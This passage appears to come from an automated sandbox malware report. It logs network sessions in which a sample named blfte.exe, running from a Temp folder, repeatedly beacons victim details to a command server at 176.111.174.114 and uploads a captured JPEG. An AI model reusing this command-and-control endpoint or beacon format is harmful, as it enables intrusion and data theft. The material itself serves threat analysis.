Apr 28, 2021 23:23:18.768835068 CEST	4004	OUT	Data Raw: 1e eb b7 11 c3 a2 f8 3e fe 79 5b ee 6d b3 6d bf f7 d7 dd af 42 d2 fe 2a eb 1a 7e d4 d2 b4 8d 3e d9 3f ba b0 6e af 59 f8 3f f1 2f c7 1a a6 a9 07 fc 4c 42 0d eb fb b8 e2 db b6 be 77 35 cf 73 7c 1d 19 4e 95 28 fd e7 bf 91 53 cb f3 6c c2 38 6a b5 a5 Data Ascii: >y[mmB*~>?nY?/LBw5s\|N(Sl8jvGxB\|%_7~5\|rt(m}\|bU'&MgFk_m>vbEX_/MWG.#pf_Rrj#{y>&\|p&fUl7k?>
Apr 28, 2021 23:23:18.871999979 CEST	4010	OUT	Data Raw: 27 d4 d1 93 ea 69 28 af e9 b3 f2 b1 c8 49 ce 4d 3b 27 d6 9b 1f 7a 75 6d 12 64 2e f6 f5 a3 7b 7a d2 51 54 49 fb 1f e1 4f f8 33 f3 e3 1f 8c 7c 29 a6 78 c3 4b fd b7 3c 31 1d b6 ab a7 c1 79 6f 1d c7 83 ee 44 8b 1c b1 ab a8 60 b3 90 1b 0c 33 82 46 7b Data Ascii: 'i(IM;'zumd.{zQTIO3\|)xK<1yoD`3F{f^6Nw~\|3O9x~"h^muxlfW+PscWo_5e8zQuDJ91}_!}OI->{
Apr 28, 2021 23:23:18.872183084 CEST	4012	OUT	Data Raw: 76 f9 2b ad ff 00 85 61 75 fd ef d2 9e 3e 17 5d 1f e1 fd 6b 58 e5 98 cf e4 23 fb 4f 07 fc c7 23 fe ff 00 e3 45 76 3f f0 ac 27 fe f5 07 e1 75 d3 77 fd 6a ff 00 b3 31 7f c8 47 f6 ae 0b f9 8e 3a 9d 1f 7a ec 3f e1 55 dd ff 00 7e 97 fe 15 45 ff 00 ad Data Ascii: v+au>]kX#O#Ev?'uwj1G:z?U~EG^3s#J5Qb?w9z9N3LW8NSg7b#k`J}OwTw-k}Vqg,Mv"=OAud_8d
Apr 28, 2021 23:23:18.872272968 CEST	4015	OUT	Data Raw: 76 7e ce 1e 15 5f fb 72 6f fe 2a ae c5 fb 0a fe c7 eb b5 13 f6 6f f0 9e 3f eb c2 b2 96 71 4f f9 0b 8d 3a b2 3f 9f 99 60 55 fb af 51 ec 93 fe 7a 57 f4 2b 6f fb 09 fe c7 fe 62 ef fd 9b fc 2d b7 fe bc 2a ed bf ec 2d fb 1e 74 4f d9 c3 c2 79 ff 00 af Data Ascii: v~_roo?qO:?`UQzW+ob--tOyyN?`#KvU%+! b3kCw?x%>>k-dejklk}c<E)`~F{3\|Gn><5'\4TE?j?v+ShW1

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
353	192.168.2.5	49918	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:18.730788946 CEST	3954	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
354	176.111.174.114	80	192.168.2.5	49918	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:18.827522039 CEST	4004	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:18 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
355	176.111.174.114	80	192.168.2.5	49917	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:18.985107899 CEST	4099	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:18 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
356	192.168.2.5	49919	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:19.040676117 CEST	4100	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
357	176.111.174.114	80	192.168.2.5	49919	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:19.139504910 CEST	4100	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:19 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
358	192.168.2.5	49921	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:19.357688904 CEST	4101	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
359	176.111.174.114	80	192.168.2.5	49921	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:19.469826937 CEST	4101	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:19 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.5	49729	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:28.270153999 CEST	1581	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
360	192.168.2.5	49922	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:19.686142921 CEST	4102	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
361	176.111.174.114	80	192.168.2.5	49922	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:19.786542892 CEST	4102	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:19 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
362	192.168.2.5	49923	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:19.998104095 CEST	4103	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
363	176.111.174.114	80	192.168.2.5	49923	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:20.102426052 CEST	4103	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:20 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
364	192.168.2.5	49925	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:20.309329033 CEST	4104	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
365	176.111.174.114	80	192.168.2.5	49925	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:20.411437035 CEST	4105	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:20 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
366	192.168.2.5	49926	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:20.623003960 CEST	4105	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
367	176.111.174.114	80	192.168.2.5	49926	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:20.721288919 CEST	4106	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:20 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
368	192.168.2.5	49927	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:20.933404922 CEST	4106	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
369	176.111.174.114	80	192.168.2.5	49927	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:21.032514095 CEST	4107	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:21 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	176.111.174.114	80	192.168.2.5	49729	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:28.375988960 CEST	1582	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:28 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
370	192.168.2.5	49928	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:21.245548010 CEST	4107	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
371	176.111.174.114	80	192.168.2.5	49928	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:21.345110893 CEST	4108	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:21 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
372	192.168.2.5	49929	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:21.559668064 CEST	4109	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
373	192.168.2.5	49930	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:21.612227917 CEST	4122	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185541 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- xXg561F?W'UW/'c?>3zl+GUGYsh/m&N$A(4rO'Hrv?zd=[5.#7{EL'wsWeGkd+UsxN5.3[CO<n}h<OJ?2"OQ_2+/p1?[uCl~?QWTzY_g?j\|Ef#^-CQ&C.e8`?)Lo.mqx_$f\|(6,>hlfPAbf7/Q_}:}N,D&02Kf0YXI#zv[M<&>JZI4Yo:;O+oY6]X.YU7(.+6N5iSI\|Y--wm.rFk$O\|Z>\|IE"$mm{<T@ ~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 